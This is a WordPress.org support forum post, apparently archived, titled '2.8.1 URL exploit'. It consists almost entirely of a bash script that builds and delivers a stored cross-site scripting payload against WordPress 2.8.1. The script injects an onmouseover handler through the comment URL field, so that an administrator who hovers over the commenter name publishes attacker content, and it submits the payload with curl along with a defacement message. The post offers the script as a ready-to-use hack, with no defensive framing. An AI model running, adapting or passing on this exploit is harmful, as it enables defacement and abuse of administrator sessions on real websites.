Title: 2.8.1 URL exploit
Last modified: August 19, 2016

---

# 2.8.1 URL exploit

 *  [jmulley](https://wordpress.org/support/users/jmulley/)
 * (@jmulley)
 * [16 years, 10 months ago](https://wordpress.org/support/topic/281-url-exploit/)
 *     ```
       #!/bin/bash
       echo "wp281.quickprz // iso^kpsbr"
   
       SITE=$1
       COMMENT=$2
       MESSAGE="h4x0riZed by the superfreakaz0rz"
   
       if [ "X$SITE" = "X" ]; then
       	echo "$0 <url> [postID]"
       	echo "f.e. $0 www.worstpress.eu"
       	exit
       fi
   
       if [ "X$POSTID" = "X" ]; then
       	POSTID=1
       fi
   
       echo "[+] building payload"
   
       WHERE="title" # can also be 'content'
       PATH="$SITE/wp-comments-post.php"
   
       WHERE=<code>echo -n &quot;$WHERE&quot; | /usr/bin/od -t d1 -A n | /bin/sed 's/\\s\\s*/,/g' | /bin/sed 's/^,//'</code>
       EVILURL="http://w.ch'onmouseover='document.getElementById(String.fromCharCode($WHERE)).value=this.innerHTML;document.getElementById(String.fromCharCode(112,117,98,108,105,115,104)).click();"
       echo "[-] payload is $EVILURL for '$MESSAGE'"
   
       EVILURL=<code>echo -n &quot;$EVILURL&quot; | /usr/bin/od -t x1 -A n | /usr/bin/tr &quot; &quot; %</code>
       MESSAGE=<code>echo -n &quot;$MESSAGE&quot; | /usr/bin/od -t x1 -A n | /usr/bin/tr &quot; &quot; %</code>
       RNDDATA=<code>/bin/date +%S%s</code>;
   
       echo "[!] delivering data"
       /usr/bin/curl -A "Quickprz" -d "author=$MESSAGE&email=kelly@hackforums.net&url=$EVILURL&comment=hi+there%5F+this+is+just+some+very+harmless+spam+$RNDDATA&submit=Submit+Comment&comment_post_ID=$POSTID" $PATH
   
       echo "[X] all done. now wait for admin to mouse-over that name."
       ```
   
 * This can be used to hack 2.8.1 through Remote XSS.

The topic ‘2.8.1 URL exploit’ is closed to new replies.

 * In: [Requests and Feedback](https://wordpress.org/support/forum/requests-and-feedback/)
 * 0 replies
 * 1 participant
 * Last reply from: [jmulley](https://wordpress.org/support/users/jmulley/)
 * Last activity: [16 years, 10 months ago](https://wordpress.org/support/topic/281-url-exploit/)
 * Status: not resolved

## Topics

### Topics with no replies

### Non-support topics

### Resolved topics

### Unresolved topics

### All topics
